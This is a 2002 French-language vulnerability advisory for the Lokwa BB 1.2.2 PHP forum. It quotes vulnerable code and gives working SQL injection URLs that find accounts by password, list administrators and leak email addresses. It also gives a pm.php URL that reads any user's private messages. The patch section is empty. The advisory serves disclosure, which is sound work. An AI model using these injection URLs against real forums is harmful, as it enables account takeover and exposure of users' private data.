Lokwa BB ******** Produit : ********* Lokwa BB http://lokwa.farcom.com/ Version : ********* 1.2.2 Date : ****** 07 Juin 2002 Problèmes : *********** - XSS - Lecture de tout les messages privés - Injection SQL Developpement : *************** Commençons par les failles SQL. On peut voir dans member.php, pour l'affichage du profil : ----------------------------------------------------------------------------------------------- [...] if($action == "viewpro") { if(!$member) { [...] } else { $query = mysql_query("SELECT * FROM lokwa_users WHERE username='$member'") or die(mysql_error()); $memberinfo = mysql_fetch_array($query); [...] ----------------------------------------------------------------------------------------------- Une url normale pour afficher un profil serait donc : http://www.site.com/member.php?action=viewpro&member=PSEUDO On peut voir qu'il n'y a aucune vérification sur la valeur de $member, on peut donc changer la requête SQL comme on le désire. Par exemple, pour afficher un profil à partir de son mot de passe, on tapera l'url : http://www.victime.com/member.php?action=viewpro&member='%20OR%20password='PASSWORD Ce qui nous donnera la requête SQL : SELECT * FROM lokwa_users WHERE username='' OR password='PASSWORD' On pourrait donc cracker non pas un compte, mais tout les comptes inscrit à ce service en même temps. On peut aussi par exemple l'utiliser pour afficher : - L'administrateur (Administrator) - Le dernier modérateur (Moderator) - Le dernier modérateur de catégorie (Category Moderateur) ou encore Banner, Member ou Junior Member en utilisant la partie status de la table lokwa_users, grâve à cette url : http://www.victime.com/member.php?action=viewpro&member='%20OR%20status='Administrator ce qui donnera la requête SQL : SELECT * FROM lokwa_users WHERE username='' OR status='Administrator' On a le même résultat avec misc.php : ----------------------------------------------------------------------------------------------- if($action == "forgot") { [...]
An email has been sent to $emailstuff[email] containing your password. You will now be taken back to the Forum index page.
"; ?> ----------------------------------------------------------------------------------------------- Donc misc.php?action=forgot&send=yes&loser='%20OR%20password='PASSWORD nous affichera l'email de celui à qui appartient ce password. On a plus qu'à trouver son login avec http://www.victime.com/member.php?action=viewpro&member='%20OR%20email='EM@I.L Voyons maintenant les messages. ----------------------------------- pm.php -------------------------------------------------- ---------------------------------------------------------------------------------------------- Le script ne vérifie pas que le message auquel on répond appartienne bien à celui à qui ont l'a envoyé. L'url http://www.victim.com/pm.php?action=reply&pmid=1 nous montrera le message numero 1 , qu'il nous soit destiné ou pas. Patch : ******* / Greetz : ******** OUAH Credits : ********* frog-m@n leseulfrog@hotmail.com